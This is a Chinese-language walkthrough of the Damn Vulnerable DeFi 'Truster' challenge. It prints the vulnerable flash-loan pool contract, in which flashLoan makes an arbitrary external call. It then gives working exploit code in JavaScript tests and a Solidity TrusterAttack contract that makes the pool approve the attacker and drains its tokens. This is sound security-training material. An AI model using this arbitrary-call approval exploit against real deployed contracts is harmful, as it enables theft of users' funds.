truster
题目链接:https://www.damnvulnerabledefi.xyz/challenges/3.html
题目描述:
有一个借贷池合约提供 DVT 代币的闪电贷功能,其中有 100 万个代币。而你一个都没有,你需要做的就是在一笔交易中取光该借贷池的代币。
同样首先看下借贷池合约的源码
TrusterLenderPool.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
/**
* @title TrusterLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TrusterLenderPool is ReentrancyGuard {
using Address for address;
// token 实例
IERC20 public immutable damnValuableToken;
constructor (address tokenAddress) {
damnValuableToken = IERC20(tokenAddress);
}
// 闪电贷方法
// borrowAmount 借出的数量
// borrower 借出人
// target 回调的合约地址
// data 回调的合约方法以及参数形成的 calldata 数据
function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
)
external
nonReentrant
{
// 获取该合约 DVT token的余额
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
// 转 borrowAmount 数量的 DVT token 到 borrower 地址中
damnValuableToken.transfer(borrower, borrowAmount);
// 调用 target 的回调方法
target.functionCall(data);
// 确保已返还token
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
}
通过智能合约可以看出,想通过 flashLoan 方法拿出所有 token 是没有办法的。因为合约最后会校验余额,不满足的话会回滚交易。
换个思路,如果能够调用 token 合约的 transferFrom 方法,即
token.transForm(pool, attacker, account);
将借贷池合约中的 token 转到 attacker 地址,就能达到目的了。
但要使 transForm 成功执行,就需要 token 合约的授权。在 ERC20 标准中有方法
function approve(address spender, uint256 amount) public virtual override returns (bool)
即同意 spender 花费调用者账户 amount 数量的 token。
在本题中,就可以在借贷池合约中调用类似下面的方法:
token.approve(attacker, amount);
即 调用者(借贷池合约) 同意 attacker 地址花费其 amount 数量的 token。
然而,借贷池合约中并没有可以调用的地方,但我们注意到 flashLoan
方法内部有行代码 target.functionCall(data);
, 其内部核心就是进行底层调用 target.call(data)
智能合约之间的交互都是通过 calldata, 形如: 0x6057361d000000000000000000000000000000000000000000000000000000000000000a 前 4 个字节(6057361d)是函数 selector(函数的标识符),其余是传递给函数的输入参数。 在合约内部通过构造 calldata,可以通过 abi.encodeWithSignature("函数名(...参数类型)", ...params)
所以在本题 target 是 token 合约的地址,data 是 approve 方法, 在 js 中通过下面的方法构造 data
const abi = ['function approve(address, uint256) external']
const iface = new ethers.utils.Interface(abi)
const data = iface.encodeFunctionData('approve', [
attacker.address,
ethers.constants.MaxUint256
])
之后就可以调用 flashLoan 方法并传入对应的参数。成功执行后就意味着借贷池合约中的余额可以随意供 attacker 操作。代码如下
it('Exploit', async function () {
const abi = ['function approve(address, uint256) external']
const iface = new ethers.utils.Interface(abi)
const data = iface.encodeFunctionData('approve', [
attacker.address,
ethers.constants.MaxUint256
])
await this.pool.flashLoan(0, deployer.address, this.token.address, data)
await this.token
.connect(attacker)
.transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL)
})
运行 yarn truster
, 测试通过!
然而题目要求进行一笔交易, 显然我们的代码是不满足要求的,所以可以通过智能合约执行一笔交易
TrusterAttack.sol
pragma solidity ^0.8.0;
import "../truster/TrusterLenderPool.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract TrusterAttack {
TrusterLenderPool public pool;
IERC20 public token;
constructor(address _pool, address _token) {
pool = TrusterLenderPool(_pool);
token = IERC20(_token);
}
function attack(address borrower) external {
address sender = msg.sender;
bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max);
pool.flashLoan(0, borrower, address(token), data);
token.transferFrom(address(pool), sender, token.balanceOf(address(pool)));
}
}
之后在测试用例中部署合约,执行 attack 方法
it('Exploit', async function () {
const TrusterAttack = await ethers.getContractFactory(
'TrusterAttack',
deployer
)
const trusterAttack = await TrusterAttack.deploy(
this.pool.address,
this.token.address
)
await trusterAttack.connect(attacker).attack(deployer.address)
})
最后运行 yarn truster
, 测试通过!